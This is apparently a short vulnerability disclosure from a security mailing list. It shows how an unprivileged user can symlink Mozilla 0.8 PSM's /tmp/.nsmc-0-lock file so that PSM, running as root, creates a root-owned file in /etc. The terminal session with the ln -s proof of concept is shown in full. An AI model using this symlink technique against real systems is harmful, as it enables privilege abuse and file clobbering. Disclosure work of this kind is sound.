Playing with /tmp a bit this morning I ran into the following issue in mozilla... *with mozilla open [root@linuxppc root]# fuser -n file /tmp/.nsmc-0-lock /tmp/.nsmc-0-lock: 3220 3223 3224 3226 3227 3228 3229 [root@linuxppc root]# ps -ef | grep 3220 root 3220 1 0 12:42 ? 00:00:00 ./psm sh-2.05$ id uid=99(nobody) gid=99(nobody) groups=99(nobody) sh-2.05$ ln -s /etc/hrmm /tmp/.nsmc-0-lock sh-2.05$ ls -al /etc/hrmm ls: /etc/hrmm: No such file or directory *wait for root to go to https://www.securepage.com to view his banking info. sh-2.05$ ls -al /etc/hrmm -rw------- 1 root root 0 Dec 26 12:42 /etc/hrmm Lets see what happened here.... when root went to the secure page mozilla calls /usr/lib/mozilla/psm root 3220 1 1 12:42 ? 00:00:00 ./psm root 3223 3220 0 12:42 ? 00:00:00 ./psm root 3224 3223 0 12:42 ? 00:00:00 ./psm root 3226 3223 0 12:42 ? 00:00:00 ./psm root 3227 3223 0 12:42 ? 00:00:00 ./psm root 3228 3223 0 12:42 ? 00:00:00 ./psm root 3229 3223 0 12:42 ? 00:00:00 ./psm [root@linuxppc root]# strings /usr/lib/mozilla/psm | grep /tmp/. /tmp/.nsmc-%d-lock /tmp/.nsmc-%d Above is how we ended up with /etc/hrmm.... And of course here is my version info.[root@linuxppc root]# rpm -qa | grep mozilla Help -> about mozilla says... Mozilla 0.8 <http://www.mozilla.org/releases/> Mozilla/5.0 (X11; U; Linux 2.4.4-6.2mdk ppc; en-US; 0.8) Gecko/20010814 mozilla-psm-0.8-7.1mdk mozilla-irc-0.8-7.1mdk mozilla-0.8-7.1mdk mozilla-mail-0.8-7.1mdk nautilus-mozilla-1.0.1.1-5mdk [root@linuxppc root]# cat /etc/redhat-release Linux Mandrake release 8.0 (Traktopel) for ppc *Happy new year@##$~! -KF
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